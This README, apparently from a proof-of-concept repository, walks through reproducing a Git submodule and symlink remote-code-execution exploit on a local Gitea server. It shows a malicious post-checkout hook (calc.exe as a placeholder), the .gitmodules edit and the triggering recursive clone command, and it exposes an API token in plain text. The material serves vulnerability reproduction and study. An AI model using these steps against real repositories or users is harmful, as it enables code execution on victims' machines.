来源

关联漏洞

介绍

# We are adapting this for gitea for local use 

we follow this blog post but with some key differences https://amalmurali.me/posts/git-rce

## How It Works
1. A malicious repository (`git_rce`) includes a submodule with a specially crafted path.
2. The submodule path uses a case variation that exploits the case-insensitive filesystem.
3. The submodule includes a symlink pointing to its `.git/` directory, which contains a malicious hook.
4. When the repository is cloned, the symlink is followed, and the malicious hook is executed, leading to RCE.

## Reproduction

⚠️ Warning: Do not run this PoC on systems you do not own or do not have explicit permission to use. Unauthorized testing could result in unintended consequences.

we need to make an api token for gitea this can be found at `http://<YOUR_GITEA_SERVER_IP>:3000/user/settings/applications`
	i  gave the token access to everything in order to make sure everything worked

then we can run our poc.sh making sure to provide it with the prompted information such as the ip address and port for the gitea server the username and token for making the repositories 

```
Enter the IP address or FQDN (without http://): localhost:3000
Enter your username: chris
Enter your API token: 3c57dbe1756734612f457b1fa08583df64fb5ea4
Enter the name for the first repository: abc 
Enter the name for the second repository: def
```
also we need to edit lines 42-46 to contain the payload

```
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe #or replace with other poc 
EOF
```

there is one more step we must go to the .`gitmodules`  from the `def` to the `abc`
repository i manually went to the repo in git tea and changed the file 

![screenshot1](screenshot1.png)

and then this did this
```
[submodule "x/y"]
	path = A/modules/x
	url = http://<your_git_tea_server>:3000/chris/abc.git
```

making sure that when i went to A/modules i could see something like this 

![screenshot2](screenshot2.png)

then clicking that commit should show the other repo with the POC stuff in it when you click it

then we can take our url and this should work to trigger the exploit
```
git clone --recursive http://<your_git_tea_server>:3000/<your_user_name>/def.git
```
## Acknowledgments

Credit to [filip-hejsek](https://github.com/filip-hejsek)  and   [amalmurali47](https://github.com/amalmurali47)  for discovering this vulnerability and having a blog post and repository to adapt from

文件快照

 [4.0K]  /data/pocs/898e4cf81516589c06e21d1042abda6c23f9a73b
├── [3.0K]  poc.sh
├── [2.4K]  README.md
├── [ 26K]  screenshot1.png
└── [ 25K]  screenshot2.png

0 directories, 4 files

备注